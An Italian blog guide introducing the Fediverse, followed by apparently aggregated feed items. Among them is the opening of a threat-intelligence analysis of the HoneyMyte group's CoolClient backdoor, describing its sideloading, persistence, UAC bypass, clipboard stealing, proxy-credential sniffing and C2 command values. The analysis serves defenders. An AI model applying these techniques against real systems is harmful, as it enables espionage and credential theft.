Dentro il Social WARM – La scuola guida per esplorare il Fediverso, goderselo e vivere meglio (e abbandonare i social USA) – Parte 1
Una scuola guida per viaggiare nel Fediverso: l’esperimento funzionerà?
Questa non è una guida ma è una “scuola guida”: non nasce per “spiegare il Fediverso” o la tecnologia che ne è alla base, ma ha un obiettivo un po’ più ambizioso: serve infatti per introdurre in maniera pratica al Fediverso, senza ripetere gli errori che a mio avviso vengono commessi ogni volta che se ne parla, ossia:
fare una spiegazione frettolosa su tutto il Fediverso per arrivare a parlare di uno dei tanti software che ne fanno parte (qualcuno ha detto Mastodon?),
porre troppo l’accento sulla enorme quantità di software e sullo sterminato sciame di server che lo compongono,
concentrarsi sulle analogie tra fediverso e email, sulle differenze tr
... mostra di più
Dentro il Social WARM – La scuola guida per esplorare il Fediverso, goderselo e vivere meglio (e abbandonare i social USA) – Parte 1
Una scuola guida per viaggiare nel Fediverso: l’esperimento funzionerà?
Questa non è una guida ma è una “scuola guida”: non nasce per “spiegare il Fediverso” o la tecnologia che ne è alla base, ma ha un obiettivo un po’ più ambizioso: serve infatti per introdurre in maniera pratica al Fediverso, senza ripetere gli errori che a mio avviso vengono commessi ogni volta che se ne parla, ossia:
fare una spiegazione frettolosa su tutto il Fediverso per arrivare a parlare di uno dei tanti software che ne fanno parte (qualcuno ha detto Mastodon?),
porre troppo l’accento sulla enorme quantità di software e sullo sterminato sciame di server che lo compongono,
concentrarsi sulle analogie tra fediverso e email, sulle differenze tra centralizzazione e decentralizzazione, sulla strana forma che hanno i nomi utente del Fediverso.
concentrarsi sulla presunta superiorità morale e sulle implicazioni ideologiche del Fediverso contro il pericolo che le piattaforme costituiscono sul piano cognitivo, psicologico, sociale e politico
Per qualsiasi dubbio, potete chiedere a me utilizzando i commenti al post, ma sappiate che chi di voi sa come farlo può commentare questo articolo da un account del Fediverso…
Purtroppo, per questione di chiarezza, farò un uso eccessivo dei punti elenco, ma vi assicuro che non ho utilizzato nessun LLM per scrivere questo post (ok, un LLM probabilmente scriverebbe esattamente questo, ma probabilmente lo farebbe con i trattini invece che con le parentesi).
Siccome la guida serve a esplorare l’ambiente del Fediverso, l’ho pensata per un utilizzo tramite il browser e non tramite le app; infatti l’utilizzo tramite browser è l’unico che vi consenta di cogliere pienamente il senso di quello che farete, mentre quasi ogni app cercherà di semplificare e quindi di nascondere alcuni aspetti importanti. In un momento in cui le BigTech ci stanno propinando strumenti di semplificazione forzata mirati a uccidere il WEB, riappropriarsi del WEB è un atto di resistenza.
A questo proposito è importante far capire che il Fediverso è un sottoinsieme dell WEB: il Fediverso è WEB a tutti gli effetti (e infatti è il W3C che definisce gli standard del Fediverso), anzi possiamo dire che non è altro che il WEB che conosciamo, quello con le pagine WEB, le immagini, i commenti, ma con in più l’interazione tra “siti” diversi.
Qui parleremo di app solo di sfuggita, ma non sottovalutiamo quanto le app siano per la maggior parte delle persone il modo più comune di accedere a un qualsiasi servizio e che, per questo motivo, promettiamo che creeremo anche una “scuola guida” dedicata agli utilizzatori delle app, ma questa è un’altra storia…
NB: questa guida nasce per un pubblico italiano e a causa dei molti riferimenti al Fediverso italiano. NB2: se avete fretta e se volete iscrivervi da subito a qualche ambiente del Fediverso, sapppiate che negli ultimi anni abbiamo messo a disposizione quattro ambienti completamente diversi l’uno dall’altro nei quali potete iscrivervi (sì, tranquilli: l’iscrizione è gratuita):
Fediverso: una parola sgraziata, un concetto ostico
Iniziamo facendo subito arrabbiare qualcuno… Sì, perché, anche se personalmente sono molto affezionato alla parola “Fediverso”, sono anche consapevole che Fediverso, come quasi tutte le parole inventate dagli informatici, è una parola davvero sgraziata sia dal punto di vista fonetico, sia per la sciagurata carica evocativa che lascia trasparire: Fediverso sembra sottolineare il concetto di difficoltà più che quello di libertà. Per questo ho deciso di usarla il meno possibile e ho deciso di sostituirla con l’espressione Social WARM o SWARM (Social Web of Autonomous Relational Minds) che mi piace perché è estremamente evocativa del clima che si respira. Cambiare il modo di chiamare qualcosa però non basta, perché bisogna cambiare anche la percezione del Social WARM tra le persone. Per questo bisogna affrontare tre fasi:
Individuazione dell’utente tipo: bisogna capire a chi può essere utile (e a chi non servirà mai) il Social WARM
Promozione verso l’utente tipo: è importante far capire a quel pubblico di utenti perché può essere utile il Social WARM
Rimozione degli ostacoli: è fondamentale facilitare l’accesso al Social WARM da parte di tutti soggetti interessati.
Analizzare come promuovere il Social WARM e come migliorare la sua ergonomia non è oggetto di questo post, mentre è importante affrontare il primo punto, per chiarire i punti di interesse, e il secondo punto, per evitare equivoci.
Social WARM: a chi serve? a cosa non serve?
Il Social WARM è un insieme di tecnologie installabili su server diversi e molto diverse l’una dall’altra, ma che consentono a tutti quelli che le utilizzano di mettersi in contatto tra loro attraverso le più basilari funzionalità social:
consultare
rispondere
ricondividere
reagire
Un elenco non esaustivo di queste tecnologie include piattaforme di microblogging, social network, forum, blog, streaming video, podcast, agende condivise, mercatini on line, condivisione di itinerari: in pratica, un unica rete globale alla quale non partecipano solo piattaforme social propriamente dette, ma in cui ogni piattaforma è sempre corredata da funzionalità social.
Anche se può sembrare controintuitivo, ognuna di queste piattaforme potrebbe essere utilizzata singolarmente (il famoso Thruth Social del vecchio pazzoide malvagio che siete alla Casa Bianca è uno di questi casi!) o addirittura essere installata in una rete locale (un server aziendale, una comunità scolastica, etc) senza alcun accesso a internet, ma è evidente che il massimo potenziale del Social WARM e il massimo godimento degli utenti si ottengono quando queste piattaforme sono interconnesse, ossia (come dicono quelli esperti) federate.
La filosofia della “federazione” infatti è il caposaldo di questo ecosistema (il termine fediverso significherebbe proprio “universo federato“) ma non solo: la possibilità di federarsi è il valore aggiunto che consente anche a una qualsiasi piccolissima comunità di utenti che utilizzano uno di questi software di entrare a far parte di una comunità molto più grande. Questo serve a compensare il fatto che la comunità di utenti di una nuova piattaforma o una nuova app del Social WARM è per forza di cose più ridotta di quelle di una colossale piattaforma commerciale.
L’effetto rete
Quando un utente decide di iscriversi a un qualsiasi “servizio comunitario” sia esso un social, un forum o una piattaforma di gioco, ciò che davvero riuscirà a trattenere l’utente appena entrato è soprattutto la presenza di altri utenti come lui. Per aumentare l’effetto comunitario, le grandi piattaforme commerciali adottano alcuni escamotage, tra i quali spicca soprattutto l’adozione di strumenti e algoritmi che “presentano” l’utente appena iscritto ad altri utenti caratterizzati da interessi affini.
Quanto più la potenza economica della piattaforma commerciale viene convertita in capacità di marketing, tanto più sarà possibile attrarre utenti; più saranno questi utenti, maggiore sarà la possibilità di farli incrociare tra loro; più questi utenti saranno interconnessi, più saranno motivati a rimanere. Questo è il vantaggio che scaturisce dall’effetto rete.
Oggi, in un periodo di oggettiva crisi delle piattaforme social, solo chi gode di una posizione consolidata può sopravvivere, mentre un nuovo social avrebbe enormi difficoltà ad attrarre nuovi utenti. La “federazione” invece consente di creare un nuovo ambiente, affinché coloro che entrano a farvi parte vengano messi subito in contatto con una rete più grande.
Cosa non troverai nel Social WARM?
Mettiamo subito le cose in chiaro: ci sono cose che non troverai mai nel Social WARM e altre che non troverai ancora per un po’ di tempo.
Ecco cosa non troverai:
la folla immensa di persone che sta su Facebook
il flusso ininterrotto di notizie che puoi trovare su X/Twitter
le basilari ma (per quanto peggiorate) ancora potenti funzioni di ricerca presenti su X/Twitter
gli influencer presenti sui social
i video brevi utili a sbomballarsi il cervello (qualche tentatvo c’è, ma non sta funzionando)
gli algoritmi che ti suggeriscono continuamente contenuti & utenti che ti tengono incollato alle piattaforme
i “secoli” di video caricati su Youtube con tutta la loro smisurata quantità di conoscenza (frammista beninteso anche a tanta spazzatura)
comportamenti ostili come il “blasting” o il mobbing e comportamenti problematici come razzismo, omofobia, suprematismo, incel
pornografia di qualità, pornografia non consensuale e pornografia illegale
Dovevo rappresentare qualcosa di incredibilmente stupido e quindi ho deciso di utilizzare lo strumento più adatto: la IA di Gemini Ecco invece cosa non troverai ancora per molto tempo, ma magari tra un po’ inizierà a esserci:
i tuoi amici, i tuoi familiari, i tuoi concittadini e compaesani
la sterminata comunità di opinionisti più o meno esperti presenti su Reddit
app realizzate davvero in maniera professionale
Fatta questa premessa doverosa, è chiaro che molti utenti delle grandi piattaforme non saranno affatto interessate al Social WARM. Vediamo quindi chi potrebbe essere interessato.
A chi può interessare il Social WARM?
In primo luogo devi sapere che ci sono diversi modi per entrare nel Social WARM:
iscrivendoti a uno dei tantissimi server esistenti, gestiti da volontari che hanno deciso di mettere a disposizione il proprio tempo e i propri soldi per creare piccole comunità (stai tranquillo: esistono molti siti che li censiscono). A volte per farlo non serve neanche lasciare la tua email!
creando tu stesso un server comunitario
creando un tuo piccolo server personale
federando il tuo blog, che poi significa anche in questo caso creare un server personale, solo in modo più semplice
curiosando e navigando tra le pagine di quei server senza iscriversi
Allora perché dovresti entrare nel Social WARM?
per provare qualcosa di nuovo: questo è il motivo che ha spinto me a farlo, ma posso assicurarti che è il motivo migliore per farlo
perché ti piace giocare: la varietà di forme che può assumere il Social WARM è perfetta per giocare; parlarsi da luoghi diversi, fatti con software diversi e visibili in modi diversi è un gioco continuo
perché sei spinto da motivazioni ideologiche contro le BigTech statunitensi, l’economia dell’attenzione, il capitalismo della sorveglianza e “altre cose brutte”: nobile motivazione, ma devo deluderti, perché le ragioni ideologiche smuovono poche persone e per poco tempo; per la maggior parte delle persone l’ideologia non costituisce mai una spinta sufficiente a cambiare i propri comportamenti
perché provare a essere padrone del tuo canale di comunicazione avvalendoti di una tecnologia libera e aperta: questa è un’ottima motivazione per decidere di entrare nel Social WARM e sono certo che non ti deluderà
perché vuoi essere utile per la comunità delle persone che conosci o per quella di persone che non conosci e perché ti piace creare spazi liberi in cui altre persone possono trascorrere momenti piacevoli: potrà sembrare strano ma si tratta di un’esperienza molto gratificante
Perché quindi dovresti restare nel Social WARM?
perché ti trovi bene: occhio però, perché all’inizio non ti troverai bene e anzi ti troverai disorientato
perché sai che in un ambiente nuovo è normale sentirsi disorientati, ma questo non significa che non sia un ambiente piacevole
perché hai capito che se ci sono diverse persone che si trovano bene là dentro, allora ci saranno sicuramente buoni motivi per trovarsi bene, magari chiedendo a chi già si trova là (e ti accorgerai quanto quella comunità di utenti e di amministratori sa essere accogliente)
perché hai capito che favorire l’ecosistema del Social WARM è incredibilmente utile a migliorare l’ambiente digitale intorno a te e in un certo senso anche la società stessa; inoltre, grazie alla tecnologia federata, è possibile creare, inventare, adattare così tante cose fantastiche che l’unico limite è la fantasia e il tempo.
Per concludere, vediamo prima a chi può interessare il Social WARM:
a chiunque sia curioso
a chi ama giocare
a chiunque voglia far parte di una comunità curiosa e giocherellona, mediamente istruita e aperta alla tecnologia
a chiunque voglia uno spazio protetto in cui interagire con gli altri senza essere molestato
a chiunque voglia comunicare con gli altri minimizzando la propria dipendenza dai conglomerati tecnologici e mantenendo la proprietà sui dati
E vediamo chi è invece che non dovrebbe affacciarcisi
gli influencer: la portata è poca e il coinvolgimento non viene mai da account monodirezionali
razzisti, omofobi, molestatori e troll: certi comportamenti sono tabu
chi pensa di trovare app di dating: se dovete scopare, è molto più bello farlo fuori da qui
chi vuole tutto e subito: qui la costruzione della presenza è lenta
Diamo una sbirciatina ai siti di Social WARM
Puoi guardarlo dal tuo browser
Siccome il Social WARM è fondamentalmente aperto, a meno che i post non vengano pubblicati con una visibilità limitata (scoprirete da soli di cosa si tratta), non è necessario essere iscritti a un servizio per visualizzare i post del Social WARM e per farlo è sufficiente aprire un browser.
Avventuriamoci all’interno di alcuni “ambienti” del Social WARM
Non presenteremo immagini in questa sezione, perché non siete qui per sfogliare un catalogo, ma per guardare dal finestrino e individuare i luoghi che vi mostro: farete click su semplici link che vi porteranno dentro il Fediverso e se non capite qualcosa, potete chiedere a me!
Giocare è una delle opportunità più interessanti che ci dà il Social WARM e danzare dall’uno all’altro ambiente software del Social WARM è un gioco di specchi estremamente divertente e formativo.
Armatevi quindi di pazienza e iniziamo con un video di PeerTube:
Come potete vedere, ci sono alcuni commenti. Uno di quelli è stato scritto il 26 gennaio e (ecco che arriva il bello) quel commento non è stato fatto da un utente Pertube, ma è stato fatto daMastodon! Ecco il messaggio originale:
mentre questa è una risposta che anche in questo caso è stata inviata da Mastodon e non da Lemmy, ma noi adesso la vedremo prima come la vedrebbe un utente Lemmy:
Anche stavolta fate attenzione alla risposta vista da Mastodon, perché in alto capirete come si vede il post Lemmy: è strano perché si vede solo il titolo e un link…
Chissà invece come si vede quel post da Friendica? Eccolo qui:
Sapete che anche questo articolo è “federato”? Se avete già un account del Social WARM, provate a copiare il link di questo post e incollatelo nella casella di ricerca… Cosa succede?
Bello vero? Beh, sappiate che finora avete scalfito solo la superficie delSocial WARM, ma dovreste essere in grado di esservi fatti un’idea delle incredibili potenzialità di questo nuovo mondo.
Adesso faremo il punto di quello che abbiamo imparato, osserverete leggermente più da vicino un bel campionario di software e infine riceverete alcune istruzioni di base da ricordare quando si entra nel Social WARM.
Primo giro turistico senza scendere dal bus: cosa abbiamo imparato?
La prima cosa importante che abbiamo imparato è che gli strumenti con i quali è possibile vivere il Social WARM sono tantissimi e che sono abbastanza diversi tra loro, tanto che a volte questi strumenti sembrano non avere nulla in comune l’uno con l’altro.
Abbiamo visto Lemmy, una specie di Reddit, Peertube, lo Youtube libero, Mastodon, che ricorda il Twitter di una volta, Friendica, che somiglia a Facebook, Writefreely, una piattaforma di blogging minimale e NodeBB, un forum professionale che però è anche federato; ma ce ne sono molti di più: Pixelfed per chi cerca un Instagram senza algoritmi, Piefed e Mbin nati per creare qualcosa di simile a Lemmy, Pleroma, molto simile a Mastodon, o Misskey, ancora più giocattoloso; e ancora Mobilizon e Gancio che servono a pubblicare eventi di calendario, Castopod e Funkwhale dedicati ai podcast, Flohmarkt, un marketplace etico, Owncast per le dirette video, Loops, la risposta federata a Tiktok, Bookwyrm, un’alternativa ad Anobii, Forgejo, per ospitare repository, Wanderer, per condividere sentieri e tracce GPS Bonfire, un ecosistema completo pensato per le organizzazioni cooperative. E infine trovano posto anche piattaforme che già conosciamo per altri meriti, come WordPress, piattaforma leader nel blogging, Ghost, l’alternativa etica a Substack e il pessimo Threads, un progetto di Meta che oggi raccoglie innumerevoli utenti (quasi tutti colati da Instagram) anche se la sua federazione è abbastanza limitata e poco usabile.
Abbiamo anche visto che l’interfaccia di ciascuno di questi software è diversa e che, in base al software attraverso cui siamo entrati, vedremo il Social WARM con occhi diversi.
Possiamo, per puro scopo didascalico, distinguere i software del Social WARM in tre macrocategorie, pur con alcune intersezioni:
Socialverso: l’insieme dei social veri e propri. Si tratta di piattaforme in cui la funzione più importante è quella di seguire altri utenti
Forumverso: l’insieme delle piattaforme simili a forum e focalizzate sull’iscrizione a canali tematici e sulla relativa discussione; qui la possibilità di seguire altri utenti è secondaria o addirittura non prevista
Contentverso: l’insieme delle piattaforme dedicate alla pubblicazione di contenuti: articoli di blog, video, podcast, eventi, dirette, recensioni di libri, etc; benché sia spesso possibile iscriversi a queste piattaforme come semplici fruitori, la finalità principale di chi si iscrive è principalmente quella di pubblicare contenuti
Software diversi, interfacce diverse
Ora darete un’ultima occhiata ad alcune timeline pubbliche di diversi software. Buona passeggiata:
Threads: bah… il link andatevelo a cercare da soli, ché io mi rifiuto
E le app?
Una buona parte dei software del Fediverso dispone di un’app specifica, ma alcuni software come Mastodon e Lemmy, ne hanno anche più di una.
Al momento, tra quelle che conosco (non sono un grande utilizzatore di app), ce ne sono due che consentono a un utente di “vedere” il Social WARM anche senza iscriversi: Raccoon, un’app per Mastodon e Friendica, e Raccoon for Lemmy, che è ovviamente dedicata all’omonimo software.
Da queste app è possibile selezionare il server di interesse e “navigarlo” in sola lettura per curiosare un po’.
Cose da sapere prima di iscriversi: visibilità, “fediquette” e test
Prima di entrare nel Social WARM è opportuno affrontare alcuni aspetti importanti, ma sappiate sempre che per tutti questi aspetti potete sempre presentare preventivamente ai moderatori i vostri dubbi!
Visibilità
Il primo aspetto da considerare è quello della visibilità: il Social WARM talvolta propone ai nuovi utenti dei profili consigliati, ma non segnalerà mai nuovi profili come il vostro agli utenti più affermati.
L’unico modo per trovare nuovi utenti è… cercarli; e le uniche possibilità che il vostro nuovo account venga notato da qualcun altro è interagire con lui, ossia:
seguirlo
rispondere a un suo post
reagire a un suo post (like o ricondivisione).
Naturalmente quando qualcuno si accorgerà di voi, vorrà vedere chi siete e se il vostro profilo risulterà vuoto, nessuno vi seguirà: e ricordate che, se quell’utente è su un altro server, potrebbe non vedere i post che avete pubblicato fino a quel momento. Le uniche cose che vedrà sono:
le note che avrete inserito nella vostra “biografia”
(ma solo per le piattaforme “social”) i post che avrete “fissato in evidenza” sul vostro profilo.
Fediquette
Abbiamo scritto diversi post sulla fediquette e su come funziona la moderazione nel Social WARM, ma sintetizzando al massimo, possiamo dire che è sufficiente l’educazione di base per non avere problemi; ricordatevi che siete ospiti di ambienti digitali gestiti gratuitamente dagli amministratori per creare un’atmosfera piacevole: leggetevi le regole di comportamento previste da ogni server e chiedete sempre delucidazioni ai moderatori del vostro server (di solito li trovate nella pagina principale o in quella con le “informazioni” del server).
Ci sono comunque alcune cose da non fare mai, per non avere problemi con i moderatori e con gli altri utenti:
trollare o dare l’impressione di farlo; soprattutto all’inizio, quando non avete una reputazione, evitate le risposte sarcastiche, il linguaggio volgare o violento
pubblicare post a ripetizione; chi pubblica troppi messaggi rischia di essere percepito come uno spammer; se avete dubbi sulla definizione di “troppi”, chiedete subito delucidazioni a uno dei moderatori del vostro server
pubblicare post con sole immagini non descritte (le immagini possono essere descritte con una funzione apposita: fatelo!) o con solo un link (soprattutto shortlink, link a social commerciali e shortlink a social commerciali!)
pubblicare post di autopromozione scomposta, magari al vostro sito pieno di annunci pubblicitari o, peggio ancora, con link referral
pubblicare post razzisti, omofobi, sessisti
pubblicare immagini e contenuti hot
pubblicare materiale copiato dai social commerciali o contenuti generati con l’intelligenza artificiale (magari senza neanche dirlo)
Fare palestra
Ci sono diversi modi per pubblicare contenuti di test. Software come Mastodon consentono per esempio di pubblicare un post con visibilità tale da essere pubblico ma da non comparire nella timeline generale; i server basati su software di tipo forum invece presentano sempre una comunità/categoria dedicata ai test.
Anche in questo caso, come già detto, chiedete ai moderatori.
Una delle comunità di test che potete usare è quella di Citiverse.it e questo è un post di prova che utilizzeremo durante la nostra esplorazione:
Adesso che abbiamo concluso la prima guida stando al posto passeggero, inizieremo a guidare da soli salendo a bordo di Lemmy e lo faremo per diversi motivi:
è il software più semplice da usare di tutto il Social WARM
presenta alcune potenzialità che aiutano a capire subito il Social WARM
presenta caratteristiche che aiutano a capire alcuni limiti del Social WARM
Ci vediamo tra qualche giorno, con la seconda parte:
Finalmente dentro il Social WARM – Proviamo Lemmy, lo strumento di discussione strutturata
Guida galattica per X-stoppisti finiti su mastodon – La nuova versione della guida di informapirata “Probabilmente quasi tutto quello sapete su Mastodon è…
in realtà non l'ho dimenticato, solo che non era facile andare a prendere le schermate del software. Alla fine le app sono pressoché infinite fediverse.party/en/miscellaneo…
Let's make social media free, federated and fun! Fediverse.Party is your guide into the world of decentralized, autonomous networks running on free open software on a myriad of servers across the world. No ads and no algorithms.
The extent that I've been seeing Linux discussed in the mainstream lately has been nuts. I've been using Linux on and off since 2007 (and worked for a company that made their own distro) and I've never seen this level of enthusiasm before.
Lacie is elderly and my vet told me to expect her to be really uncomfortable in the cold due to her arthritis. Well, this morning she came in from laying on the deck in the cold, crabbed about going for a walk, went for a walk, got back and immediately begged to go lay on the deck again. I am pretty sure she has golden retriever hardware and sled dog software.
Element is a Matrix-based end-to-end encrypted messenger and secure collaboration app. It’s decentralised for digital sovereign self-hosting, or through a hosting service such as Element Matrix Services.
Сотрудники отделов ЗАГСа Крымского и Славянского районов Краснодарского края вносили в архивные книги недостоверные сведения об итальянском происхождении некоторых россиян. Кр... mostra di più
Сотрудники отделов ЗАГСа Крымского и Славянского районов Краснодарского края вносили в архивные книги недостоверные сведения об итальянском происхождении некоторых россиян. Крымский районный суд Кубани уже аннулировал десятки подобных записей. После того, как сотрудники ЗАГСа вручную вписывали в архивную книгу сведения об отце-итальянце россиянина, данные вносились в Единый государственный реестр записей актов гражданского состояния. На этом основании граждане, пишет "Коммерсант", получали...
Ферганский районный уголовный суд приговорил 28-летнего мужчину к трем годам колонии общего режима по делу о наемничестве (статья 154 УК) за участие в войне против Украины на стороне Росси... mostra di più
Ферганский районный уголовный суд приговорил 28-летнего мужчину к трем годам колонии общего режима по делу о наемничестве (статья 154 УК) за участие в войне против Украины на стороне России. Об этом сообщает узбекское издание Gazeta. Его имя не называется, указаны только инициалы – А.А. По его словам, в ноябре 2025 года он поехал в Россию, чтобы навестить мать, но впоследствии остался там и работал вместе с ней в сфере общепита. Позднее он уволился, начал искать работу, но был...
Гособвинение запросило для комика Артемия Останина 5 лет и 11 месяцев колонии и штраф в 300 тысяч рублей по делу о разжигании ненависти и оскорблении чувств верующих, сообщает "Медиазона". П... mostra di più
Гособвинение запросило для комика Артемия Останина 5 лет и 11 месяцев колонии и штраф в 300 тысяч рублей по делу о разжигании ненависти и оскорблении чувств верующих, сообщает "Медиазона". После отбывания срока прокурор просит запретить ему администрировать сайты сроком на три года. В основе дела – два монолога. Разжигание ненависти ему вменили из-за выступления комика в марте 2025 года, в ходе которого он пошутил про безногих людей, просящих милостыню в метро: "Ну конечно, на мине...
Президент США Дональд Трамп объявил о повышении пошлин на товары из Южной Кореи с 15% до 25%. "Законодательное собрание Южной Кореи не выполняет условия соглашения с Соединенными Штатами.... mostra di più
Президент США Дональд Трамп объявил о повышении пошлин на товары из Южной Кореи с 15% до 25%. "Законодательное собрание Южной Кореи не выполняет условия соглашения с Соединенными Штатами. Президент Ли и я достигли выгодного для обеих стран соглашения 30 июля 2025 года, и мы подтвердили эти условия во время моего визита в Южную Корею 29 октября 2025 года. Почему корейское законодательное собрание до сих пор его не утвердило?" – написал он. Президент США заявил, что в связи с этим пошлины...
Министр финансов России Антон Силуанов обратился к президенту Владимиру Путину с предложением снять запрет на организацию и работу онлайн-казино, пишет "Коммерсант" со ссылкой на дв... mostra di più
Министр финансов России Антон Силуанов обратился к президенту Владимиру Путину с предложением снять запрет на организацию и работу онлайн-казино, пишет "Коммерсант" со ссылкой на два источника, знакомых с содержанием письма. Среди условий для легализации онлайн-казино – закрепление механизма приема ставок через Единый центр учета переводов ставок по аналогии с букмекерами, а также введение налога в размере не менее 30% от выручки (за вычетом выплаченных выигрышей). Администрировать налоги...
Вашингтон дал понять Киеву, что американские гарантии безопасности зависят от предварительного согласия Украины на мирное соглашение, которое, вероятно, будет включать передачу Д... mostra di più
Вашингтон дал понять Киеву, что американские гарантии безопасности зависят от предварительного согласия Украины на мирное соглашение, которое, вероятно, будет включать передачу Донбасса России, пишет Financial Times со ссылкой на восемь источников, знакомых с ходом переговоров. По их словам, в случае вывода украинских войск из подконтрольных Украине восточных регионов США предварительно готовы увеличить поставки вооружений для украинской армии в мирное время. При этом, отмечает издание,...
If We Do Not Remember the Victims of the #Holocaust, Fascism Has a Chance to Be Reborn and Wage War Against Humanity – President #Zelenskyy
President of #Ukraine Volodymyr Zelenskyy honoured the memory of the victims of the Holocaust at the National Historical and Memorial Reserve “Babyn Yar.”
On January 27, the world honours the six million Jewish victims of the #Holocaust, including 1.5 million killed in #Ukraine.
As war continues in Europe, we remember those murdered for their identity and those who risked their lives to save others - a reminder that choosing humanity matters most.
Using only estimates based on the examination of the existing incomplete documentation, it can only be acknowledged that there were around 232,000 children a...
■ New 🇷🇺 area gains confirmed; 217 km² net gained in the last 30 days with 28,000 casualties ■ Engagements and casualties remain below the 7-day average; snowfall in Kyiv ■ Drone losses continue to drive overall equipment losses; artillery losses also notable ■ Overnight 🇷🇺 attacks: 165 drones; 82% intercepted, with 23 locations hit or affected by debris ■ Six 🇺🇦 strikes reported; 🇷🇺/🇺🇦 30-day strike ratio rises slightly
HoneyMyte updates CoolClient and deploys multiple stealers in recent campaigns
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
... mostra di più
HoneyMyte updates CoolClient and deploys multiple stealers in recent campaigns
Over the past few years, we’ve been observing and monitoring the espionage activities of HoneyMyte (aka Mustang Panda or Bronze President) within Asia and Europe, with the Southeast Asia region being the most affected. The primary targets of most of the group’s campaigns were government entities.
As an APT group, HoneyMyte uses a variety of sophisticated tools to achieve its goals. These tools include ToneShell, PlugX, Qreverse and CoolClient backdoors, Tonedisk and SnakeDisk USB worms, among others. In 2025, we observed HoneyMyte updating its toolset by enhancing the CoolClient backdoor with new features, deploying several variants of a browser login data stealer, and using multiple scripts designed for data theft and reconnaissance.
An early version of the CoolClient backdoor was first discovered by Sophos in 2022, and TrendMicro later documented an updated version in 2023. Fast forward to our recent investigations, we found that CoolClient has evolved quite a bit, and the developers have added several new features to the backdoor. This updated version has been observed in multiple campaigns across Myanmar, Mongolia, Malaysia and Russia where it was often deployed as a secondary backdoor in addition to PlugX and LuminousMoth infections.
In our observations, CoolClient was typically delivered alongside encrypted loader files containing encrypted configuration data, shellcode, and in-memory next-stage DLL modules. These modules relied on DLL sideloading as their primary execution method, which required a legitimate signed executable to load a malicious DLL. Between 2021 and 2025, the threat actor abused signed binaries from various software products, including BitDefender, VLC Media Player, Ulead PhotoImpact, and several Sangfor solutions.
Variants of CoolClient abusing different software for DLL sideloading (2021–2025)
The latest CoolClient version analyzed in this article abuses legitimate software developed by Sangfor. Below, you can find an overview of how it operates. It is worth noting that its behavior remains consistent across all variants, except for differences in the final-stage features.
Overview of CoolClient execution flow
However, it is worth noting that in another recent campaign involving this malware in Pakistan and Myanmar, we observed that HoneyMyte has introduced a newer variant of CoolClient that drops and executes a previously unseen rootkit. A separate report will be published in the future that covers the technical analysis and findings related to this CoolClient variant and the associated rootkit.
CoolClient functionalities
In terms of functionality, CoolClient collects detailed system and user information. This includes the computer name, operating system version, total physical memory (RAM), network details (MAC and IP addresses), logged-in user information, and descriptions and versions of loaded driver modules. Furthermore, both old and new variants of CoolClient support file upload to the C2, file deletion, keylogging, TCP tunneling, reverse proxy listening, and plugin staging/execution for running additional in-memory modules. These features are still present in the latest versions, alongside newly added functionalities.
In this latest variant, CoolClient relies on several important files to function properly:
Filename
Description
Sang.exe
Legitimate Sangfor application abused for DLL sideloading.
libngs.dll
Malicious DLL used to decrypt loader.dat and execute shellcode.
loader.dat
Encrypted file containing shellcode and a second-stage DLL. Parameter checker and process injection activity reside here.
time.dat
Encrypted configuration file.
main.dat
Encrypted file containing shellcode and a third-stage DLL. The core functionality resides here.
Parameter modes in second-stage DLL
CoolClient typically requires three parameters to function properly. These parameters determine which actions the malware is supposed to perform. The following parameters are supported.
Parameter
Actions
No parameter
· CoolClient will launch a new process of itself with the install parameter. For example: Sang.exe install.
install
CoolClient decrypts time.dat.
Adds new key to the Run registry for persistence mechanism.
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly created write.exe process.
Checks for service control manager (SCM) access.
Checks for multiple AV processes such as 360sd.exe, zhudongfangyu.exe and 360desktopservice64.exe.
Installs a service named media_updaten and starts it.
If the current user is in the Administrator group, creates a new process of itself with the passuac parameter to bypass UAC.
work
Creates a process named write.exe.
Decrypts and injects loader.dat into a newly spawned write.exe process.
passuac
Bypasses UAC and performs privilege elevation.
Checks if the machine runs Windows 10 or a later version.
Impersonates svchost.exe process by spoofing PEB information.
Creates a scheduled task named ComboxResetTask for persistence. The task executes the malware with the work parameter.
Elevates privileges to admin by duplicating an access token from an existing elevated process.
Final stage DLL
The write.exe process decrypts and launches the main.dat file, which contains the third (final) stage DLL. CoolClient’s core features are implemented in this DLL. When launched, it first checks whether the keylogger, clipboard stealer, and HTTP proxy credential sniffer are enabled. If they are, CoolClient creates a new thread for each specific functionality. It is worth noting that the clipboard stealer and HTTP proxy credential sniffer are new features that weren’t present in older versions.
Clipboard and active windows monitor
A new feature introduced in CoolClient is clipboard monitoring, which leverages functions that are typically abused by clipboard stealers, such as GetClipboardData and GetWindowTextW, to capture clipboard information.
CoolClient also retrieves the window title, process ID and current timestamp of the user’s active window using the GetWindowTextW API. This information enables the attackers to monitor user behavior, identify which applications are in use, and determine the context of data copied at a given moment.
The clipboard contents and active window information are encrypted using a simple XOR operation with the byte key 0xAC, and then written to a file located at C:\ProgramData\AppxProvisioning.xml.
HTTP proxy credential sniffer
Another notable new functionality is CoolClient’s ability to extract HTTP proxy credentials from the host’s HTTP traffic packets. To do so, the malware creates dedicated threads to intercept and parse raw network traffic on each local IP address. Once it is able to intercept and parse the traffic, CoolClient starts extracting proxy authentication credentials from HTTP traffic intercepted by the malware’s packet sniffer.
The function operates by analyzing the raw TCP payload to locate the Proxy-Connection header and ensure the packet is relevant. It then looks for the Proxy-Authorization: Basic header, extracts and decodes the Base64-encoded credential and saves it in memory to be sent later to the C2.
Function used to find and extract Base64-encoded credentials from HTTP proxy-authorization headers
C2 command handler
The latest CoolClient variant uses TCP as the main C2 communication protocol by default, but it also has the option to use UDP, similar to the previous variant. Each incoming payload begins with a four-byte magic value to identify the command family. However, if the command is related to downloading and running a plugin, this value is absent. If the client receives a packet without a recognized magic value, it switches to plugin mode (mechanism used to receive and execute plugin modules in memory) for command processing.
Magic value
Command category
CC BB AA FF
Beaconing, status update, configuration.
CD BB AA FF
Operational commands such as tunnelling, keylogging and file operations.
No magic value
Receive and execute plugin module in memory.
0xFFAABBCC – Beacon and configuration commands
